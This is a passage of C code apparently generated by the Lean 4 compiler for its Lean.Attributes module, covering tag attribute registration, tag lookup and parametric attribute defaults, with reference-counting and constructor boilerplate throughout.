x_4 = l_Lean_RBNode_insert___at_Lean_NameSet_insert___spec__1(x_1, x_2, x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__3(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_3 = l_Lean_RBNode_fold___at_Lean_mkModuleData___spec__8(x_2, x_1);
x_4 = lean_array_get_size(x_3);
x_5 = lean_unsigned_to_nat(1u);
x_6 = lean_nat_sub(x_4, x_5);
lean_dec(x_4);
x_7 = lean_unsigned_to_nat(0u);
x_8 = l_Array_qsort_sort___at_Lean_mkTagDeclarationExtension___spec__1(x_3, x_7, x_6);
lean_dec(x_6);
return x_8;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__4___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("tag attribute", 13);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__4___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerTagAttribute___lambda__4___closed__1;
x_2 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__4___closed__3() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_registerTagAttribute___lambda__4___closed__2;
x_2 = lean_box(1);
x_3 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__4___closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("number of local entries: ", 25);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__4___closed__5() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerTagAttribute___lambda__4___closed__4;
x_2 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__4___closed__6() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_registerTagAttribute___lambda__4___closed__3;
x_2 = l_Lean_registerTagAttribute___lambda__4___closed__5;
x_3 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__4(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_2 = lean_unsigned_to_nat(0u);
x_3 = l_Lean_RBNode_fold___at_Lean_RBMap_size___spec__1___rarg(x_2, x_1);
x_4 = l_Nat_repr(x_3);
x_5 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_5, 0, x_4);
x_6 = l_Lean_registerTagAttribute___lambda__4___closed__6;
x_7 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_7, 0, x_6);
lean_ctor_set(x_7, 1, x_5);
return x_7;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__5___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3;
x_2 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_2, 0, x_1);
lean_ctor_set(x_2, 1, x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__5(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
lean_object* x_8;
lean_inc(x_6);
lean_inc(x_2);
x_8 = lean_apply_4(x_1, x_2, x_5, x_6, x_7);
if (lean_obj_tag(x_8) == 0)
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; uint8_t x_13;
x_9 = lean_ctor_get(x_8, 1);
lean_inc(x_9);
lean_dec(x_8);
x_10 = lean_st_ref_take(x_6, x_9);
x_11 = lean_ctor_get(x_10, 0);
lean_inc(x_11);
x_12 = lean_ctor_get(x_10, 1);
lean_inc(x_12);
lean_dec(x_10);
x_13 = !lean_is_exclusive(x_11);
if (x_13 == 0)
{
lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; uint8_t x_19;
x_14 = lean_ctor_get(x_11, 0);
x_15 = lean_ctor_get(x_11, 4);
lean_dec(x_15);
x_16 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_3, x_14, x_2);
x_17 = l_Lean_registerTagAttribute___lambda__5___closed__1;
lean_ctor_set(x_11, 4, x_17);
lean_ctor_set(x_11, 0, x_16);
x_18 = lean_st_ref_set(x_6, x_11, x_12);
lean_dec(x_6);
x_19 = !lean_is_exclusive(x_18);
if (x_19 == 0)
{
lean_object* x_20; lean_object* x_21;
x_20 = lean_ctor_get(x_18, 0);
lean_dec(x_20);
x_21 = lean_box(0);
lean_ctor_set(x_18, 0, x_21);
return x_18;
}
else
{
lean_object* x_22; lean_object* x_23; lean_object* x_24;
x_22 = lean_ctor_get(x_18, 1);
lean_inc(x_22);
lean_dec(x_18);
x_23 = lean_box(0);
x_24 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_24, 0, x_23);
lean_ctor_set(x_24, 1, x_22);
return x_24;
}
}
else
{
lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32; lean_object* x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36; lean_object* x_37; lean_object* x_38;
x_25 = lean_ctor_get(x_11, 0);
x_26 = lean_ctor_get(x_11, 1);
x_27 = lean_ctor_get(x_11, 2);
x_28 = lean_ctor_get(x_11, 3);
x_29 = lean_ctor_get(x_11, 5);
x_30 = lean_ctor_get(x_11, 6);
lean_inc(x_30);
lean_inc(x_29);
lean_inc(x_28);
lean_inc(x_27);
lean_inc(x_26);
lean_inc(x_25);
lean_dec(x_11);
x_31 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_3, x_25, x_2);
x_32 = l_Lean_registerTagAttribute___lambda__5___closed__1;
x_33 = lean_alloc_ctor(0, 7, 0);
lean_ctor_set(x_33, 0, x_31);
lean_ctor_set(x_33, 1, x_26);
lean_ctor_set(x_33, 2, x_27);
lean_ctor_set(x_33, 3, x_28);
lean_ctor_set(x_33, 4, x_32);
lean_ctor_set(x_33, 5, x_29);
lean_ctor_set(x_33, 6, x_30);
x_34 = lean_st_ref_set(x_6, x_33, x_12);
lean_dec(x_6);
x_35 = lean_ctor_get(x_34, 1);
lean_inc(x_35);
if (lean_is_exclusive(x_34)) {
lean_ctor_release(x_34, 0);
lean_ctor_release(x_34, 1);
x_36 = x_34;
} else {
lean_dec_ref(x_34);
x_36 = lean_box(0);
}
x_37 = lean_box(0);
if (lean_is_scalar(x_36)) {
x_38 = lean_alloc_ctor(0, 2, 0);
} else {
x_38 = x_36;
}
lean_ctor_set(x_38, 0, x_37);
lean_ctor_set(x_38, 1, x_35);
return x_38;
}
}
else
{
uint8_t x_39;
lean_dec(x_6);
lean_dec(x_3);
lean_dec(x_2);
x_39 = !lean_is_exclusive(x_8);
if (x_39 == 0)
{
return x_8;
}
else
{
lean_object* x_40; lean_object* x_41; lean_object* x_42;
x_40 = lean_ctor_get(x_8, 0);
x_41 = lean_ctor_get(x_8, 1);
lean_inc(x_41);
lean_inc(x_40);
lean_dec(x_8);
x_42 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_42, 0, x_40);
lean_ctor_set(x_42, 1, x_41);
return x_42;
}
}
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__6___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("invalid attribute '", 19);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__6___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerTagAttribute___lambda__6___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__6___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("', declaration is in an imported module", 39);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__6___closed__4() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerTagAttribute___lambda__6___closed__3;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__6(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8) {
_start:
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
lean_dec(x_5);
x_9 = lean_st_ref_get(x_7, x_8);
x_10 = lean_ctor_get(x_9, 0);
lean_inc(x_10);
x_11 = lean_ctor_get(x_9, 1);
lean_inc(x_11);
lean_dec(x_9);
x_12 = lean_ctor_get(x_10, 0);
lean_inc(x_12);
lean_dec(x_10);
lean_inc(x_2);
x_13 = l_Lean_Environment_getModuleIdxFor_x3f(x_12, x_2);
if (lean_obj_tag(x_13) == 0)
{
lean_object* x_14; lean_object* x_15;
lean_dec(x_4);
x_14 = lean_box(0);
x_15 = l_Lean_registerTagAttribute___lambda__5(x_1, x_2, x_3, x_14, x_6, x_7, x_11);
return x_15;
}
else
{
lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; uint8_t x_22;
lean_dec(x_13);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_16 = l_Lean_MessageData_ofName(x_4);
x_17 = l_Lean_registerTagAttribute___lambda__6___closed__2;
x_18 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_18, 0, x_17);
lean_ctor_set(x_18, 1, x_16);
x_19 = l_Lean_registerTagAttribute___lambda__6___closed__4;
x_20 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_20, 0, x_18);
lean_ctor_set(x_20, 1, x_19);
x_21 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_20, x_6, x_7, x_11);
lean_dec(x_7);
lean_dec(x_6);
x_22 = !lean_is_exclusive(x_21);
if (x_22 == 0)
{
return x_21;
}
else
{
lean_object* x_23; lean_object* x_24; lean_object* x_25;
x_23 = lean_ctor_get(x_21, 0);
x_24 = lean_ctor_get(x_21, 1);
lean_inc(x_24);
lean_inc(x_23);
lean_dec(x_21);
x_25 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_25, 0, x_23);
lean_ctor_set(x_25, 1, x_24);
return x_25;
}
}
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__7___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("', must be global", 17);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___lambda__7___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerTagAttribute___lambda__7___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__7(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, uint8_t x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
lean_object* x_10;
lean_inc(x_8);
lean_inc(x_7);
x_10 = l_Lean_Attribute_Builtin_ensureNoArgs(x_5, x_7, x_8, x_9);
if (lean_obj_tag(x_10) == 0)
{
lean_object* x_11; uint8_t x_12; uint8_t x_13;
x_11 = lean_ctor_get(x_10, 1);
lean_inc(x_11);
lean_dec(x_10);
x_12 = 0;
x_13 = l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367_(x_6, x_12);
if (x_13 == 0)
{
lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; uint8_t x_20;
lean_dec(x_4);
lean_dec(x_2);
lean_dec(x_1);
x_14 = l_Lean_MessageData_ofName(x_3);
x_15 = l_Lean_registerTagAttribute___lambda__6___closed__2;
x_16 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_16, 0, x_15);
lean_ctor_set(x_16, 1, x_14);
x_17 = l_Lean_registerTagAttribute___lambda__7___closed__2;
x_18 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_18, 0, x_16);
lean_ctor_set(x_18, 1, x_17);
x_19 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_18, x_7, x_8, x_11);
lean_dec(x_8);
lean_dec(x_7);
x_20 = !lean_is_exclusive(x_19);
if (x_20 == 0)
{
return x_19;
}
else
{
lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_21 = lean_ctor_get(x_19, 0);
x_22 = lean_ctor_get(x_19, 1);
lean_inc(x_22);
lean_inc(x_21);
lean_dec(x_19);
x_23 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_23, 0, x_21);
lean_ctor_set(x_23, 1, x_22);
return x_23;
}
}
else
{
lean_object* x_24; lean_object* x_25;
x_24 = lean_box(0);
x_25 = l_Lean_registerTagAttribute___lambda__6(x_1, x_4, x_2, x_3, x_24, x_7, x_8, x_11);
return x_25;
}
}
else
{
uint8_t x_26;
lean_dec(x_8);
lean_dec(x_7);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_26 = !lean_is_exclusive(x_10);
if (x_26 == 0)
{
return x_10;
}
else
{
lean_object* x_27; lean_object* x_28; lean_object* x_29;
x_27 = lean_ctor_get(x_10, 0);
x_28 = lean_ctor_get(x_10, 1);
lean_inc(x_28);
lean_inc(x_27);
lean_dec(x_10);
x_29 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_29, 0, x_27);
lean_ctor_set(x_29, 1, x_28);
return x_29;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__8(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6;
x_5 = l_Lean_AttributeImpl_erase___default___rarg___closed__2;
x_6 = l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(x_5, x_2, x_3, x_4);
return x_6;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_NameSet_empty;
x_2 = lean_alloc_closure((void*)(l_EStateM_pure___rarg), 2, 1);
lean_closure_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerTagAttribute___lambda__1___boxed), 3, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerTagAttribute___lambda__2), 2, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerTagAttribute___lambda__3), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___closed__5() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerTagAttribute___lambda__4___boxed), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerTagAttribute___closed__6() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerTagAttribute___lambda__8___boxed), 4, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, uint8_t x_5, lean_object* x_6) {
_start:
{
lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_7 = l_Lean_registerTagAttribute___closed__1;
x_8 = l_Lean_registerTagAttribute___closed__2;
x_9 = l_Lean_registerTagAttribute___closed__3;
x_10 = l_Lean_registerTagAttribute___closed__4;
x_11 = l_Lean_registerTagAttribute___closed__5;
lean_inc(x_4);
x_12 = lean_alloc_ctor(0, 6, 0);
lean_ctor_set(x_12, 0, x_4);
lean_ctor_set(x_12, 1, x_7);
lean_ctor_set(x_12, 2, x_8);
lean_ctor_set(x_12, 3, x_9);
lean_ctor_set(x_12, 4, x_10);
lean_ctor_set(x_12, 5, x_11);
x_13 = l_Lean_registerPersistentEnvExtensionUnsafe___rarg(x_12, x_6);
if (lean_obj_tag(x_13) == 0)
{
lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20;
x_14 = lean_ctor_get(x_13, 0);
lean_inc(x_14);
x_15 = lean_ctor_get(x_13, 1);
lean_inc(x_15);
lean_dec(x_13);
lean_inc(x_1);
x_16 = lean_alloc_ctor(0, 3, 1);
lean_ctor_set(x_16, 0, x_4);
lean_ctor_set(x_16, 1, x_1);
lean_ctor_set(x_16, 2, x_2);
lean_ctor_set_uint8(x_16, sizeof(void*)*3, x_5);
lean_inc(x_14);
x_17 = lean_alloc_closure((void*)(l_Lean_registerTagAttribute___lambda__7___boxed), 9, 3);
lean_closure_set(x_17, 0, x_3);
lean_closure_set(x_17, 1, x_14);
lean_closure_set(x_17, 2, x_1);
x_18 = l_Lean_registerTagAttribute___closed__6;
x_19 = lean_alloc_ctor(0, 3, 0);
lean_ctor_set(x_19, 0, x_16);
lean_ctor_set(x_19, 1, x_17);
lean_ctor_set(x_19, 2, x_18);
lean_inc(x_19);
x_20 = l_Lean_registerBuiltinAttribute(x_19, x_15);
if (lean_obj_tag(x_20) == 0)
{
uint8_t x_21;
x_21 = !lean_is_exclusive(x_20);
if (x_21 == 0)
{
lean_object* x_22; lean_object* x_23;
x_22 = lean_ctor_get(x_20, 0);
lean_dec(x_22);
x_23 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_23, 0, x_19);
lean_ctor_set(x_23, 1, x_14);
lean_ctor_set(x_20, 0, x_23);
return x_20;
}
else
{
lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_24 = lean_ctor_get(x_20, 1);
lean_inc(x_24);
lean_dec(x_20);
x_25 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_25, 0, x_19);
lean_ctor_set(x_25, 1, x_14);
x_26 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_26, 0, x_25);
lean_ctor_set(x_26, 1, x_24);
return x_26;
}
}
else
{
uint8_t x_27;
lean_dec(x_19);
lean_dec(x_14);
x_27 = !lean_is_exclusive(x_20);
if (x_27 == 0)
{
return x_20;
}
else
{
lean_object* x_28; lean_object* x_29; lean_object* x_30;
x_28 = lean_ctor_get(x_20, 0);
x_29 = lean_ctor_get(x_20, 1);
lean_inc(x_29);
lean_inc(x_28);
lean_dec(x_20);
x_30 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_30, 0, x_28);
lean_ctor_set(x_30, 1, x_29);
return x_30;
}
}
}
else
{
uint8_t x_31;
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_31 = !lean_is_exclusive(x_13);
if (x_31 == 0)
{
return x_13;
}
else
{
lean_object* x_32; lean_object* x_33; lean_object* x_34;
x_32 = lean_ctor_get(x_13, 0);
x_33 = lean_ctor_get(x_13, 1);
lean_inc(x_33);
lean_inc(x_32);
lean_dec(x_13);
x_34 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_34, 0, x_32);
lean_ctor_set(x_34, 1, x_33);
return x_34;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_registerTagAttribute___spec__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_registerTagAttribute___lambda__1(x_1, x_2, x_3);
lean_dec(x_2);
lean_dec(x_1);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__4___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_registerTagAttribute___lambda__4(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__5___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
lean_object* x_8;
x_8 = l_Lean_registerTagAttribute___lambda__5(x_1, x_2, x_3, x_4, x_5, x_6, x_7);
lean_dec(x_4);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__7___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
uint8_t x_10; lean_object* x_11;
x_10 = lean_unbox(x_6);
lean_dec(x_6);
x_11 = l_Lean_registerTagAttribute___lambda__7(x_1, x_2, x_3, x_4, x_5, x_10, x_7, x_8, x_9);
return x_11;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__8___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_registerTagAttribute___lambda__8(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
uint8_t x_7; lean_object* x_8;
x_7 = lean_unbox(x_5);
lean_dec(x_5);
x_8 = l_Lean_registerTagAttribute(x_1, x_2, x_3, x_4, x_7, x_6);
return x_8;
}
}
LEAN_EXPORT uint8_t l_Lean_TagAttribute_hasTag(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
lean_inc(x_3);
lean_inc(x_2);
x_4 = l_Lean_Environment_getModuleIdxFor_x3f(x_2, x_3);
if (lean_obj_tag(x_4) == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_5 = lean_ctor_get(x_1, 1);
x_6 = l_Lean_NameSet_instInhabitedNameSet;
x_7 = l_Lean_PersistentEnvExtension_getState___rarg(x_6, x_5, x_2);
lean_dec(x_2);
x_8 = l_Lean_NameSet_contains(x_7, x_3);
lean_dec(x_3);
lean_dec(x_7);
return x_8;
}
else
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; uint8_t x_17;
x_9 = lean_ctor_get(x_4, 0);
lean_inc(x_9);
lean_dec(x_4);
x_10 = lean_ctor_get(x_1, 1);
x_11 = l_Lean_NameSet_instInhabitedNameSet;
x_12 = l_Lean_PersistentEnvExtension_getModuleEntries___rarg(x_11, x_10, x_2, x_9);
lean_dec(x_9);
lean_dec(x_2);
x_13 = lean_array_get_size(x_12);
x_14 = lean_unsigned_to_nat(1u);
x_15 = lean_nat_sub(x_13, x_14);
x_16 = lean_unsigned_to_nat(0u);
x_17 = lean_nat_dec_lt(x_16, x_13);
lean_dec(x_13);
if (x_17 == 0)
{
uint8_t x_18;
lean_dec(x_15);
lean_dec(x_12);
lean_dec(x_3);
x_18 = 0;
return x_18;
}
else
{
uint8_t x_19; uint8_t x_20;
x_19 = l_instInhabitedBool;
x_20 = l_Array_binSearchAux___at_Lean_TagDeclarationExtension_isTagged___spec__1(x_19, x_12, x_3, x_16, x_15);
lean_dec(x_12);
return x_20;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_TagAttribute_hasTag___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4; lean_object* x_5;
x_4 = l_Lean_TagAttribute_hasTag(x_1, x_2, x_3);
lean_dec(x_1);
x_5 = lean_box(x_4);
return x_5;
}
}
static lean_object* _init_l_Lean_instInhabitedParametricAttribute___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_instInhabitedAttributeImpl___closed__3;
x_2 = l_Lean_instInhabitedTagAttribute___closed__7;
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedParametricAttribute(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_instInhabitedParametricAttribute___closed__1;
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterSet___default___rarg(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3;
x_2 = lean_box(0);
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_2);
lean_ctor_set(x_3, 1, x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterSet___default(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
x_6 = lean_alloc_closure((void*)(l_Lean_ParametricAttributeImpl_afterSet___default___rarg), 1, 0);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterSet___default___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
x_6 = l_Lean_ParametricAttributeImpl_afterSet___default(x_1, x_2, x_3, x_4, x_5);
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterImport___default___rarg(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3;
x_2 = lean_box(0);
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_2);
lean_ctor_set(x_3, 1, x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterImport___default(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = lean_alloc_closure((void*)(l_Lean_ParametricAttributeImpl_afterImport___default___rarg), 1, 0);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterImport___default___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_ParametricAttributeImpl_afterImport___default(x_1, x_2, x_3);
lean_dec(x_3);
lean_dec(x_2);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_2) == 0)
{
return x_1;
}
else
{
lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_3 = lean_ctor_get(x_2, 0);
x_4 = lean_ctor_get(x_2, 1);
x_5 = lean_ctor_get(x_2, 2);
x_6 = lean_ctor_get(x_2, 3);
x_7 = l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg(x_1, x_3);
lean_inc(x_5);
lean_inc(x_4);
x_8 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_8, 0, x_4);
lean_ctor_set(x_8, 1, x_5);
x_9 = lean_array_push(x_7, x_8);
x_1 = x_9;
x_2 = x_6;
goto _start;
}
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg___boxed), 2, 0);
return x_2;
}
}
LEAN_EXPORT uint8_t l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___lambda__1(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = lean_ctor_get(x_1, 0);
x_4 = lean_ctor_get(x_2, 0);
x_5 = l_Lean_Name_quickLt(x_3, x_4);
return x_5;
}
}
static lean_object* _init_l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___lambda__1___boxed), 2, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4;
x_4 = lean_nat_dec_lt(x_2, x_3);
if (x_4 == 0)
{
lean_dec(x_2);
return x_1;
}
else
{
